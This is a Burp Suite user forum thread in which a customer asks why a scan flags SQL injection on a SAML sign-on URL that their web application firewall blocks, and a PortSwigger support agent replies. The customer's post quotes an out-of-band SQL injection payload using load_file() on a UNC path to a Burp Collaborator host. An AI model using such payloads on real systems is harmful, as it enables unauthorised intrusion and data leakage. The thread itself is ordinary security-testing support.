Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Create new post

Check the solution for SQL injection

Jineesh | Last updated: Jun 06, 2021 07:33PM UTC

Hi Support, We are getting an SQL injection issue in the scan result for the below URL GET /SAML/SingleSignOn?ReturnUrl=%2f&(select%20load_file('%5c%5c%5c%5cksg8fmv7bu5rjhreg45vab9cg3mwaqyh05uskg9.burpcollaborator.net%5c%5cvxz'))=1 HTTP/2 But when we check the URL in the browser we are getting 500 server error. Because this is blocked by our FortiWeb web applciation firewall. Bu why this is listed in the scan result Thanks, Jineesh

Jineesh | Last updated: Jun 07, 2021 06:22AM UTC

Hi Guyz, Any update on this. I just want to know why the URL listed as an SQL injection even if the request is blocked by WAF Thanks, Jineesh

Uthman, PortSwigger Agent | Last updated: Jun 07, 2021 11:07AM UTC

Hi Jineesh, It looks like a request is being made to the public collaborator server. You will need to use the collaborator client to replicate it: - https://portswigger.net/burp/documentation/desktop/tools/collaborator-client Do you see a 500 response code in the Repeater? If you have any issues, please email support@portswigger.net with screenshots, diagnostics (Help > Diagnostics), the full issue detail, and request/response.

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.